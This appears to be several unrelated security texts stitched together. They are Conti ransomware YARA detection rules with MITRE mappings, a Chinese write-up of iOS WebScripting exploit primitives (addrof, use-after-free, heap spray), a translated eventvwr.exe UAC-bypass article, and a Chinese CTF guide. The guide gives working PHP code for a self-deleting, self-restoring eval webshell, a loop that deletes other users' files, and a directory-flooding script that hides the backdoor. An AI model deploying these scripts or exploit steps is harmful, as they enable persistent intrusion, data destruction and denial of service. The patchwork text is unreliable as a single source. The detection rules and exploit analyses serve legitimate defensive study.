$x2 = "D:\\Projects\\processhacker2\\bin\\Release32\\ProcessHacker.pdb" fullword ascii
$x3 = "ProcessHacker.exe" fullword wide
$x4 = "kprocesshacker.sys" fullword wide
$x5 = "ntdll.dll!NtDelayExecution" fullword wide
$x6 = "ntdll.dll!ZwDelayExecution" fullword wide
$s7 = "PhInjectDllProcess" fullword ascii
$s8 = "_PhUiInjectDllProcess@8" fullword ascii
$s9 = "logonui.exe" fullword wide
$s10 = "Executable files (*.exe;*.dll;*.ocx;*.sys;*.scr;*.cpl)" fullword wide
$s11 = "\\x86\\ProcessHacker.exe" fullword wide
$s12 = "user32.dll!NtUserGetMessage" fullword wide
$s13 = "ntdll.dll!NtWaitForKeyedEvent" fullword wide
$s14 = "ntdll.dll!ZwWaitForKeyedEvent" fullword wide
$s15 = "ntdll.dll!NtReleaseKeyedEvent" fullword wide
$s16 = "ntdll.dll!ZwReleaseKeyedEvent" fullword wide
$s17 = "\\kprocesshacker.sys" fullword wide
$s18 = "\\SystemRoot\\system32\\drivers\\ntfs.sys" fullword wide
$s19 = "_PhExecuteRunAsCommand2@36" fullword ascii
$s20 = "_PhShellExecuteUserString@20" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 4000KB and
1 of ($x*) and 4 of them
}
rule unlocker {
meta:
description = "mal - file unlocker.exe"
author = "TheDFIRReport"
date = "2021-11-29"
hash1 = "09d7fcbf95e66b242ff5d7bc76e4d2c912462c8c344cb2b90070a38d27aaef53"
strings:
$s1 = "For more detailed information, please visit http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline" fullword wide
$s2 = "(Symantec SHA256 TimeStamping Signer - G20" fullword ascii
$s3 = " <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>" fullword ascii
$s4 = "(Symantec SHA256 TimeStamping Signer - G2" fullword ascii
$s5 = "Causes Setup to create a log file in the user's TEMP directory." fullword wide
$s6 = "Prevents the user from cancelling during the installation process." fullword wide
$s7 = "Same as /LOG, except it allows you to specify a fixed path/filename to use for the log file." fullword wide
$s8 = " <dpiAware xmlns=\"http://schemas.microsoft.com/SMI/2005/WindowsSettings\">true</dpiAware>" fullword ascii
$s9 = "The Setup program accepts optional command line parameters." fullword wide
$s10 = "Instructs Setup to load the settings from the specified file after having checked the command line." fullword wide
$s11 = "Overrides the default component settings." fullword wide
$s12 = "/MERGETASKS=\"comma separated list of task names\"" fullword wide
$s13 = "/PASSWORD=password" fullword wide
$s14 = "Specifies the password to use." fullword wide
$s15 = "yyyyvvvvvvvvvxxw" fullword ascii
$s16 = "yyyyyyrrrsy" fullword ascii
$s17 = " processorArchitecture=\"x86\"" fullword ascii
$s18 = " processorArchitecture=\"x86\"" fullword ascii
$s19 = "Prevents Setup from restarting the system following a successful installation, or after a Preparing to Install failure that requ" wide
$s20 = "/DIR=\"x:\\dirname\"" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 7000KB and
8 of them
}
rule mal_host2_locker {
meta:
description = "mal - file locker.bat"
author = "TheDFIRReport"
date = "2021-11-29"
hash1 = "1edfae602f195d53b63707fe117e9c47e1925722533be43909a5d594e1ef63d3"
strings:
$x1 = "_locker.exe -m -net -size 10 -nomutex -p" ascii
condition:
uint16(0) == 0x7473 and filesize < 8KB and
$x1
}
import "pe"
rule o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker {
meta:
description = "conti - file o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-11-29"
hash1 = "9cd3c0cff6f3ecb31c7d6bc531395ccfd374bcd257c3c463ac528703ae2b0219"
strings:
$s1 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s2 = "operator co_await" fullword ascii
$s3 = ">*>6>A>_>" fullword ascii /* hex encoded string 'j' */
$s4 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
$s5 = "Bapi-ms-win-core-fibers-l1-1-1" fullword wide
$s6 = "SVWjEhQ" fullword ascii
$s7 = ";F;[;l;" fullword ascii /* Goodware String - occured 1 times */
$s8 = "74787@7H7P7T7\\7p7" fullword ascii /* Goodware String - occured 1 times */
$s9 = "6#606B6" fullword ascii /* Goodware String - occured 1 times */
$s10 = "<!=X=u=" fullword ascii /* Goodware String - occured 1 times */
$s11 = "expand 32-byte k" fullword ascii /* Goodware String - occured 1 times */
$s12 = "6!7?7J7" fullword ascii /* Goodware String - occured 2 times */
$s13 = "delete" fullword ascii /* Goodware String - occured 2789 times */
$s14 = "4!4(4/464=4D4K4R4Z4b4j4v4" fullword ascii /* Goodware String - occured 3 times */
$s15 = ".CRT$XIAC" fullword ascii /* Goodware String - occured 3 times */
$s16 = "0#0)01060\\0a0" fullword ascii
$s17 = ";\";/;=;K;V;l;" fullword ascii
$s18 = "6,606P6X6\\6x6" fullword ascii
$s19 = "6(6,6@6D6H6L6P6T6X6\\6`6d6p6t6x6|6" fullword ascii
$s20 = "8 :M:}:" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 600KB and
( pe.imphash() == "50472e0ba953856d228c7483b149ea72" or all of them )
}
rule o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker_x86 {
meta:
description = "conti - file o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker_x86.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-11-29"
hash1 = "01a9549c015cfcbff4a830cea7df6386dc5474fd433f15a6944b834551a2b4c9"
strings:
$s1 = "conti_v3.dll" fullword ascii
$s2 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s3 = "6 7/787E7[7" fullword ascii /* hex encoded string 'gx~w' */
$s4 = "operator co_await" fullword ascii
$s5 = "2%3.3f3~3" fullword ascii /* hex encoded string '#?3' */
$s6 = "1\"1&1,:4:<:D:L:T:\\:d:l:t:|:" fullword ascii $s7 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide $s8 = "SVWjEhQ" fullword ascii $s9 = "__swift_2" fullword ascii $s10 = "__swift_1" fullword ascii $s11 = "api-ms-win-core-file-l1-2-2" fullword wide /* Goodware String - occured 1 times */ $s12 = "7K7P7T7X7\\7" fullword ascii /* Goodware String - occured 1 times */ $s13 = "7h7o7v7}7" fullword ascii /* Goodware String - occured 1 times */ $s14 = "O0a0s0" fullword ascii /* Goodware String - occured 1 times */ $s15 = ";?;I;S;" fullword ascii /* Goodware String - occured 1 times */ $s16 = "8>8C8Q8V8" fullword ascii /* Goodware String - occured 1 times */
$s17 = "QQSVj8j@" fullword ascii
$s18 = "5-5X5s5" fullword ascii /* Goodware String - occured 1 times */
$s19 = "expand 32-byte k" fullword ascii /* Goodware String - occured 1 times */
$s20 = "delete" fullword ascii /* Goodware String - occured 2789 times */
condition:
uint16(0) == 0x5a4d and filesize < 600KB and
( pe.imphash() == "749dc5143e9fc01aa1d221fb9a48d5ea" or all of them )
}
rule o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker_x64 {
meta:
description = "conti - file o4IRWsH4N1a3hjO9Sy2rPP02oyUddH7zA5xGih0ESmlhiiXD9kpWVCPfOwUnayZp_locker_x64.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-11-29"
hash1 = "31656dcea4da01879e80dff59a1af60ca09c951fe5fc7e291be611c4eadd932a"
strings:
$s1 = "conti_v3.dll" fullword ascii
$s2 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s3 = "operator co_await" fullword ascii
$s4 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
$s5 = "api-ms-win-core-file-l1-2-2" fullword wide /* Goodware String - occured 1 times */
$s6 = "__swift_2" fullword ascii
$s7 = "__swift_1" fullword ascii
$s8 = "expand 32-byte k" fullword ascii /* Goodware String - occured 1 times */
$s9 = "u3HcH<H" fullword ascii /* Goodware String - occured 2 times */
$s10 = "D$XD9x" fullword ascii /* Goodware String - occured 2 times */
$s11 = "delete" fullword ascii /* Goodware String - occured 2789 times */
$s12 = "ue!T$(H!T$ " fullword ascii
$s13 = "L$&8\\$&t,8Y" fullword ascii
$s14 = "F 2-by" fullword ascii
$s15 = "u\"8Z(t" fullword ascii
$s16 = "L$ |+L;" fullword ascii
$s17 = "vB8_(t" fullword ascii
$s18 = "ext-ms-" fullword wide
$s19 = "OOxq*H" fullword ascii
$s20 = "H97u+A" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 600KB and
( pe.imphash() == "137fa89046164fe07e0dd776ed7a0191" or all of them )
}
### MITRE
T1218.010 - Signed Binary Proxy Execution: Regsvr32
T1218.005 - Signed Binary Proxy Execution: Mshta
T1218.011 - Signed Binary Proxy Execution: Rundll32
T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage
T1105 - Ingress Tool Transfer
T1059.005 - Command and Scripting Interpreter: Visual Basic
T1059.007 - Command and Scripting Interpreter: JavaScript
T1059.001 - Command and Scripting Interpreter: PowerShell
T1055 - Process Injection
T1486 - Data Encrypted for Impact
T1482 - Domain Trust Discovery
T1047 - Windows Management Instrumentation
T1021.002 - Remote Services: SMB/Windows Admin Shares
T1124 - System Time Discovery
T1021.001 - Remote Services: Remote Desktop Protocol
T1566.001 - Phishing: Spearphishing Attachment
T1087.002 - Account Discovery: Domain Account
T1087.001 - Account Discovery: Local Account
T1057 - Process Discovery
T1083 - File and Directory Discovery
T1590.005 - Gather Victim Network Information: IP Addresses
### MITRE Software
Net – S0039
Nltest – S0359
Cmd – S0106
Tasklist – S0057
Cobalt Strike – S0154
AdFind - S0552
### Reference
* [Detecting Rclone – An Effective Tool for Exfiltration, NCC Group](https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/)
* [Rundll32, Red Canary](https://redcanary.com/threat-detection-report/techniques/rundll32/)
* [TA551 (Shathak) continues pushing BazarLoader, infections lead to Cobalt Strike, SANS ISC](https://isc.sans.edu/forums/diary/TA551+Shathak+continues+pushing+BazarLoader+infections+lead+to+Cobalt+Strike/27738/)
* [Invoke-ShareFinder, GitHub [Veil PowerView]](https://github.com/darkoperator/Veil-PowerView/blob/master/PowerView/functions/Invoke-ShareFinder.ps1)
* [taskmgr.exe slashing numbers, Hexicorn](https://www.hexacorn.com/blog/2018/07/22/taskmgr-exe-slashing-numbers/)
* * * | 社区文章 |
**作者：0xcc
原文链接：<https://mp.weixin.qq.com/s/FgZT2OvCMS1xfm8qr439mQ>**
上一篇介绍了一个[在 iOS 藏了十一年的客户端 XSS](https://paper.seebug.org/1659/)。在这个特殊的 WebView
环境中，系统将 SUScriptInterface 类下的方法导出到全局上下文中的 iTunes 命名空间，从而让 JavaScript 可以通过
WebScripting API 调用其中的方法。
这个机制和 Android 上的 addJavaScriptInterface 非常相似，而后者出过很严重的安全问题，即 js 可以使用反射调用到任意的
native 方法，从而远程执行代码。修复的方案是加上一个 @JavascriptInterace
注解来限制可访问的方法。可以看到这里的访问控制起到了很重要的作用。
然而 iOS 上犯了一个类似的错误，一直藏到了 2020 年。
与 Android 不同，WebScripting 其实从一开始就考虑了访问控制。文档里明确写道，注入到 js 的对象需要实现
isSelectorExcludedFromWebScript: 方法来判断某个 selector 是否允许调用。默认情况下 -[NSObject
isSelectorExcludedFromWebScript:] 返回 YES，也就是禁止一切调用。开发者根据需要，有选择地放行。
虽然文档是这么写，实际上到了代码又是另一回事了。这个只有两条指令的方法从 iOS 6 就一直返回 NO，允许任意方法调用：
bool +[SUScriptObject isSelectorExcludedFromWebScript:](id, SEL, SEL)
MOV W0, #0
RET
让我们来看看这只蝴蝶能掀起多大的风浪。
### 对象地址泄漏
在 Objective-C 里的方法就是给对象发送消息，其独特的语法最后会被编译器翻译成各种 objc_msgSend
函数的调用。如果给一个对象发送了一个不存在的 selector（方法名），运行时就会抛出异常，输出类似如下的错误信息：
unrecognized selector sent to instance 0x10b15a470
其中的指针一般就是 SELF 对象的堆地址。
回到 SUScriptInterface 这个类。在 js 里访问 iTunes.window 会走到 -[SUScriptInterface
window] 方法，方法的内部会调用一次 SELF.scriptWindowContext 的 tag 方法。
由于前面提到，iTunes 的业务逻辑并没有限制 js 调用方法的范围，因此这个私有属性的 setter 方法
setScriptWindowContext_ 也可以被调用到。这样以来就可以通过 js 把对应的属性替换成一个不合法的类型，造成 Objective-C
的类型混淆。
接着用 js 访问 iTunes.window 就会抛出一个 NSException。在这个 WebScripting 环境中，Objective-C
的异常可以被 js 的 catch 语句捕获。这时候异常的文本内容就带上了我们赋值上去的对象的地址，格式化成十六进制。
function addrof(obj) {
const saved = iTunes.scriptWindowContext()
iTunes.setScriptWindowContext_(obj)
try {
iTunes.window
} catch(e) {
console.debug(e)
const match = /instance (0x[\da-f]+)$/i.exec(e)
if (match) return match[1]
throw new Error('Unable to leak heap addr')
} finally {
iTunes.setScriptWindowContext_(saved)
}
}
// usage:
addrof(iTunes.makeWindow())
addrof('A'.repeat(1024 * 1024))
马上得到了 addrof 原语。首先篡改私有对象属性造成类型混淆，捕获异常然后解析一下文本就可以了。
Objective-C 里还直接用指针保存内联信息（如字符串、数字、日期等类型），这个 addrof 原语同样适用于 tagged pointer。
### 泄漏 dyld_shared_cache 基地址
iOS 当中所有的系统自带的动态链接库都共享一个随机化偏移，只要泄漏任意一个 library 的基址就可以获取剩下全部。刚才的 addrof 除了能泄露
heap 上对象的地址，针对特定的对象还可以泄露库的基地址。
在 Objective-C 运行时里，一些特殊的 magic value 并不会产生新的内存分配，而是用特定的符号指针表示。部分 Objective-C
的符号和 js 特殊值对应关系如下：
__kCFNumberNaN | NaN
---|---
__kCFNumberPositiveInfinity | Infinity
__kCFBooleanTrue | true
__kCFBooleanFalse | false
泄露以上任意一个 js 值的地址就可以获得左边符号的地址，从而得到 CoreFoundation 和其他任意 framework
的地址。当然，由于目前还没有内存读，这种方式需要根据版本适配偏移量。也可以结合其他 jsc 的漏洞做符号解析，实现更优雅的利用。
### 释放后重用
关键的漏洞登场了。由于访问控制简单地将所有的方法导出给 js，一些与对象生命周期相关的方法也暴露了。
在对象上有一个很特殊，正常情况下不会用到的方法 dealloc。在
ARC（自动对象引用）之前有一段痛苦的时期需要开发者手工管理对象内存分配。Objective-C 使用引用计数，在释放一个对象时需要调用其 release
方法减少一个引用。当引用计数为 0 时，就会走到 dealloc 方法真正地释放内存。
无论是之前的手动挡 MRC 还是自动挡 ARC，都不会主动用到 dealloc 这个方法。然而现在 js
可以动态调用这个方法，直接把变量对应的对象销毁掉，造成 Use-After-Free。
const w = iTunes.makeWindow();
w.dealloc();
w // dangling reference
以上代码先用 makeWindow 创建了一个新的 SUScriptWindow 对象，然后直接释放掉了。但 js
层还保留着原先的地址引用，尝试访问这个变量就会在 objc_opt_respondsToSelector 上造成一个无效的指针解引用。
这个漏洞的 id 是 CVE-2021-1864，但它从 iOS 6 就被引入了。
### 内存占位
通常对 UAF 漏洞的利用多是在对象释放后抢占分配一个大小一致、结构不同的对象来造成类型混淆。
在这个环境里很容易想到用 iTunes.make* 系列函数可以分配不同的对象。然而事实是，由于这些对象都以 SUScriptObject
为基类，类型混淆之后不能造成严重的副作用。
参考之前的文献，如 Modern Objective-C Exploitation 和 Project Zero 的 iMessage 远程攻击，都利用到了
objc_msgSend 的相关特性，在对象的 isa 指针上大作文章。
isa 指针是对象的第一个成员，要想能构建出自定义的值，占位的对象需要满足长度可控和内容可控，一段连续存储的 buffer 是可靠的候选。是不是用 js
里的 ArrayBuffer 或者字符串就行了？之前也提到 WebScripting 会自动把 js 的字符串转换成 NSString。
然而现实很骨感，JavaScriptCore 用的堆和被释放的对象所在的堆不是同一个。至于 JavaScriptCore 创建出来的
NSString，只是保存了一个指针，具体的字符串内容还是在 jsc 自己的堆里，所以这种方式也不能在 Objective-C 的堆上造成长度可控的分配。
最后找到了一个很巧妙的函数 -[SUScriptFacebookRequest
addmultipartdata:withName:type:]。第一个参数是一个 URL 字符串，当传入一个 data URI 时，就会调用
SUGetDataForDataURL 将其解码成一个 NSData 对象并添加到 SUScriptFacebookRequest 实例上。Data URI
支持用 base64 编码二进制的内容，而生成的 NSData 正好会在 Objective-C
的堆上产生一次长度、内容完全可控的分配。这就形成了一个完美的内存占位原语。
// alloc an SUScriptXMLHTTPStoreRequest
const w = iTunes.makeXMLHTTPStoreRequest();
const req = iTunes.createFacebookRequest('http://', 'GET');
// malloc_size(SUScriptXMLHTTPStoreRequest) == 192
const uri = str2DataUri(makeStr(192));
// avoid GC
window.w = w; window.req = req;
// get a dangling pointer
w.dealloc();
for (let i = 0; i < 32; i++)
req.addMultiPartData(uri, 'A', 'B');
w // boom
用以上代码将被释放的对象重新用 0x41 填充，再次引用这个变量时结果如下：
接下来可以继续构造 fakeobj 原语进行下一步利用了。面前的一大挑战是 PAC，接下来应该如何利用？我们下一篇文章见。
从一个访问控制的方法开始，一共就两行指令的问题接连导致了类型混淆、信息泄漏和释放后重用。有趣的是在官方文档上明明白白写了直接放行会产生安全问题，仍然引入了
bug。也许是开发之初就认为这个环境不会执行第三方脚本，因此不需要严格遵守安全规范。侥幸心理是行不通的。
* * * | 社区文章 |
# 使用EVENTVWR.EXE和注册表劫持实现“无文件”UAC绕过
|
##### 译文声明
本文是翻译文章，文章来源：enigma0x3
原文地址：<https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/>
译文仅供参考，具体内容表达以及含义原文为准。
在对Windows
10进行深入挖掘并发现了一个非常有趣的绕过用户帐户控制（UAC）的方法之后（详细信息请参阅https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/）,我决定花更多的时间来调查其他潜在的UAC绕过技术。目前,有一些开源的UAC绕过技术,其中大部分需要特权文件副本，然后使用IFileOperation
COM对象或WUSA提取(Windows 7)
在一个受保护的系统位置进行DLL劫持。所有这些技术都需要向磁盘中导入一个文件(例如,将一个DLL导入到磁盘上来执行一个DLL劫持)。你可以在下面这个网址查看这些开源技术https://github.com/hfiref0x/UACME。这篇文章中提到的技术不同于其他开源方法，而是提供了一个有用的新技术,它不依赖于特权文件副本,代码注入,或者在磁盘上放置一个传统的文件(如DLL)。这种技术已经在Windows
7和Windows10上进行了测试,但希望以后能够在所有实施UAC的Windows版本上运行。
跟我在上篇文章中提到过的使用磁盘清理绕过UAC技术一样,探查Windows加载方式的一个普遍的技术是使用进程监视器分析进程执行时的行为。然而继续挖掘，在用ProcMon打开Windows事件日志时,我注意到，作为一个高阶进程，eventvwr.exe执行了一些关于HKEY_CURRENT_USER
hive的注册表查询。
很早之前,理解HKEY_CLASSES_ROOT(HKCR)和HKEY_CURRENT_USER(HKCU)注册表项以及它们之间是如何相互作用的就是很重要的。HKCR仅仅是HKLM:SoftwareClasses和HKCU:SoftwareClasses的组合（想要了解什么是HKCR以及为什么HKLM和HKCU要进行合并，请点击下面的链接https://msdn.microsoft.com/enus/library/windows/desktop/ms724475(v=vs.85).aspx）。由于这些hive是合并的,通常可以通过在HKCU:SoftwareClasses中创建一些键来劫持HKCR:中的键。因为在这两个hive之间存在的这种关系,所以任何能够作用到HKCU和HKCR的高阶进程都会显得特别有趣,因为它可以篡改HKCU的值。作为一个普通用户,你将访问键写入了HKCU;如果你可以操作一个高阶进程来影响这些键,那么你就可能会干扰一个高度集成的进程试图执行的行为。
现在,有些人可能知道,有一些微软签署的二进制文件可以根据它们的manifest进行自动提升（更多关于这些二进制文件和manifest的信息请参阅：https://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx）。通过使用系统工具“sigcheck”,我证实了“eventvwr.exe”使用它的manifest进行了自动提升：
深入了解ProcMon输出的时候,我注意到“eventvwr.exe”与HKCUSoftwareClassesmscfileshellopencommand进行了交互,这导致了一个“NAME
NOT
FOUND”的结果。不久,eventvwr.exe又与HKCRmscfileshellopencommand的键进行了交互。当我查看HKCRmscfileshellopencommand时,我注意到默认值被设置为调用mmc.exe(微软管理控制台程序),这个程序负责加载管理Snap-Ins：
如前所述, 一个高阶进程调用HKEY_CURRENT_USER (or
HKCU)是十分有趣的。这通常意味着一个提升的进程与注册表的位置进行交互，而这个地方一个中阶进程就可以进行篡改。在这种情况下,我观察到“eventvwr.exe”在HKCRmscfileshellopencommand之前查询HKCUSoftwareClassesmscfileshellopencommand。由于HKCU返回值为“NAME
NOT FOUND”,所以这个提升进程开始查询HKCR的位置：
从输出可以看到,
作为一个高阶进程，“eventvwr.exe”在查询了HKCU和HKCR的注册表hive之后调用了mmc.exe。mmc.exe执行之后,它打开了eventvwr.msc,这是一个微软保存控制台文件,导致事件查看器进行显示。这看起来合乎常理，因为微软管理控制台(mmc.exe)装载的是微软保存控制台文件(.msc)。
根据这些信息,我决定创建一个“eventvwr.exe”所需的注册表结构来成功查询HKCU的位置而不是HKCR的位置。既然位于HKCRmscfileshellopencommand的默认值包含一个可执行文件,我决定只是用powershell.exe来替换这个可执行文件:
当“eventvwr.exe”运行的时候,我注意到它成功查询/打开了HKCUSoftwareClassesmscfileshellopencommand：
这一行动有效地用我们的新值“powershell.exe”替代了之前的“mmc.exe”值。随着进程的继续,我观察到它最终调用了“powershell.exe”而不是“mmc.exe”:
查看进程管理工具,我能够确认powershell.exe确实在以高阶权限运行：
由于能够劫持进程的启动,所以简单地执行你希望的任何恶意PowerShell脚本/命令都是可行的。这意味着代码可以在一个高阶进程中执行(绕过UAC)，并且没有向文件系统中导入DLL或任何其它文件。这会显著减少攻击者的风险,因为他们不用把传统的文件导入到文件系统中,而这正是最容易被AV/HIPS检测到的。
为了演示这种攻击, Matt Graeber和我构造了一个PowerShell脚本,在系统上执行的时候,会在当前用户的hive中创建所需的注册表项
(HKCUSoftwareClassesmscfileshellopencommand),设置默认值为任何你想通过command参数传递的值,运行“eventvwr.exe”，然后清理注册表条目。
你可以在下面的链接找到这个脚本:[https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1)
在这个脚本中,我们提供了一个示例命令。这个特殊的命令使用PowerShell向“C: UACBypassTest”中写入“Is Elevated:
True”。这可以证明这个命令是在一个高阶进程中执行的，因为“Is Elevated”等于“True”，并且输出文本文件被写入的目录中阶进程没有写入权限。
**
**
**总结及应对措施**
这种方法不同于其他的开源技术，主要是有以下几个非常方便的好处：
1.这种技术不需要导入传统的文件到文件系统。目前大多数开源UAC绕过技术需要引入一个文件(通常是一个DLL)到文件系统，这样做会增加攻击者被抓的风险。由于这种技术不需要导入传统的文件,攻击者的风险得到了显著减轻；
2.这种方法不需要任何进程注入,这意味着攻击不会被监控这种行为的安全解决方案标记；
3.不需要特权文件副本。大多数UAC绕过技术需要某种特权文件的副本来将一个恶意DLL复制到一个安全的位置，从而进行DLL劫持。而这种技术可以替代“eventvwr.exe”运行时启动加载所需的管理单元,可以简单地使用现有的、受信任的微软二进制文件在内存中执行代码。
**应对措施：**
**1.将UAC的级别设置为“总是通知”；**
2.从本地管理员群组中删除当前用户；
3.可以利用这种方法的特征监测这种攻击：查找HKCUSoftwareClasses中的注册表项，或者在HKCUSoftwareClasses中创建新注册表项。 | 社区文章 |
# 打比赛的奇招妙想附脚本
## 0x0 前言
有时候打比赛总会有一些搅屎的存在，哈哈，就趣味性而言，我觉得还是很有意思的。这里简单记录下自己的一些想法,欢迎师傅们一起交流下这个技术含量很低但是可能有点趣味的玩法。
## 0x1 测试环境搭建
### 0x1.1 模拟比赛环境
这里为了保证脚本的有效的运行,还是有必要搭建一个基于linux环境下的php环境，来进行测试。
推荐一个比较好的github,里面有很多比赛的靶机环境，参考意义非常不错。
[CTF Training](https://github.com/CTFTraining)
比较快速搭建起一个题目环境:
git clone https://github.com/CTFTraining/qwb_2019_upload.git
docker-compose up -d
我们查看下`Dockerfile`,不难发现里面做了一些权限控制
chown -R www-data:www-data /var/www/html
能够控制目录及其子目录下脚本执行的权限均为www-data用户组的www-data用户
chmod -R 755 /var/www/html/public/upload
第一个数字是文件所有者 这里就是-> www-data 具有的权限 rwx 可读可写可执行
第二个数字是文件用户组的同用户 -> www-data组下面的用户成员具有的权限 rx 可写可执行
第三个是其他用户组的用户
还有就是配置一些中间件的配置,`nginx.conf`可以学习一下:
daemon off;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
root /var/www/html/public;
index index.php;
...
}
### 0x1.2 Apache PHP环境
由于上面缺乏apache环境,所以这里我们补充下如何快速搭建apache php环境。
1.拉取镜像
docker pull php:7.0-apache
2.设置web目录
mkdir ./web
echo '<?php phpinfo();?>' > ./web/phpinfo.php
3.启动镜像
docker run -itd -v $(pwd)/web:/var/www/html -p 8084:80 php:7.0-apach
这里我们需要看一下当前的apache配置文件情况:
1.查找指定内容相关的配置文件
find / -name "*.conf" | xargs grep 'AllowOverride'
2.查看apache加载的主配置文件
apachectl -V
=>
-D HTTPD_ROOT="/etc/apache2"
-D SERVER_CONFIG_FILE="apache2.conf"
通过简单观察:
最后又包含了新的配置文件。
root@e5b43f725c6b:/etc/apache2# ls ./*-enabled
./conf-enabled:
charset.conf localized-error-pages.conf security.conf
docker-php.conf(这个是核心custom配置) other-vhosts-access-log.conf serve-cgi-bin.conf
./sites-enabled:
000-default.conf (主要是配置VirtualHost的日志信息和路径)
docker-php.conf
<FilesMatch \.php$>
SetHandler application/x-httpd-php #这个设置解析php后缀,会匹配%0a
</FilesMatch>
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes #关闭目录浏览
AllowOverride All # 启用htaccess
</Directory>
上面的配置刚好可以为下文的一些小技巧提供测试环境。
### 0x1.3 MYSQL的环境
这个环境主要是为了下文讲解MYSQL和实践准备的,我们依然可以使用docker来进行快速搭建。
1.拉取docker5.7的镜像
docker pull mysql:5.7
2.后台启动docker镜像并且设置3308映射3306,设置环境变量即mysql的root密码123456
docker run -e MYSQL_ROOT_PASSWORD=123456 -p 3308:3306 -d mysql:5.7
3.连接MYSQL
mysql -h 127.0.0.1 -P3308 -u root -p
### 0x1.4 window共享文件夹环境
这里我直接启用虚拟机,开桥接模式
首先在用户路径创建个`share`文件夹:`C:\Users\xq17\share`
然后右键属性:
选择Everyone添加然后修改权限级别为读取和写入
`\\10.37.129.9\Users\xq17\share`
然后选择网络共享关掉密码保护。
这样我们的共享文件夹就创建好了。
## 0x2 PHP GETSHELL环境下搅屎
### 0x2.1 常用内存md5马
<?php
# ?k=xq17
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(substr(md5(@$_REQUEST["k"]),25)=="8aa1b46"){@eval($_POST[a]);} ?>';
while (1){
is_dir($file)rmdir($file):file_put_contents($file,$code);
usleep(1);
}
?>
### 0x2.2 内存驻留删文件
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
while(True)
{
#删除指定目录下的文件
array_map('unlink', array_filter(glob('/var/www/html/public/test/*'), 'is_file'));
usleep(1);
}
?>
但是这个删除不了内存马(可能是速度比较慢),只能用来做部分搅屎，破坏下做题环境，危害比较有限。
### 0x2.3 DOS批量写木马
`$base64`代表是一个md5的木马
<?php if(substr(md5(@$_REQUEST["k"]),25)=="8aa1b46"){@eval($_POST[a]);} ?>
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$base64 = "PD9waHAgaWYoc3Vic3RyKG1kNShAJF9SRVFVRVNUWyJrIl0pLDI1KT09IjhhYTFiNDYiKXtAZXZhbCgkX1BPU1RbYV0pO30gPz4=";
while(1) {
file_put_contents('.'.mt_rand().'.php',base64_decode($base64));
}
?>
当执行这个文件时,该目录将会被许多文件卡死，而且很难删除
查看下docker的占用状态:
docker stats
这个时候一般CPU占用率和内存都会升高。可以通过适当调节`usleep()`的值来减少压力。这个时候能够非常有效阻止别人去查看目录,而且也很难删除这个目录,因为生产了巨量的文件，所以可以通过这种方式来保护你的内存马被分析出名字，去针对克制,只能采取终止进程的方式，这个时候在低权限的时候是蛮有用的，别人很难奈何你。
### 0x2.4 三者整合达到杀敌不杀己
我们把上面整合下效果就是,批量写垃圾文件,然后删除别人文件,保留自己的文件。
<?php
# ?k=xq17
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(substr(md5(@$_REQUEST["k"]),25)=="8aa1b46"){@eval($_POST[a]);} ?>';
$base64 = "SGVsbG8sIGhha2NlciwgMzYwdGVhbQ==";
while (True){
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
is_dir($file)?rmdir($file):file_put_contents($file,$code);
#删除指定目录下的php*文件
array_map('unlink', array_filter(glob('./*.php*'), 'is_file'));
array_map('rmdir', array_filter(glob('./*'), 'is_dir'));
}
?>
大概过几分钟就会生成大量文件,会导致一些工具列目录的时候直接卡死(30M的时候效果比较明显),而且普通的`rm ./*`是没办法删除文件的。
不过我在实验的时候发现，3者整合的时候，实时性被限制了，因为文件多那么glob处理的速度就慢下来了。所以我个人还是比较建议3者分开使用，将删除文件的php脚本放在最后执行即可。
### 0x2.5 Python实现自动写入
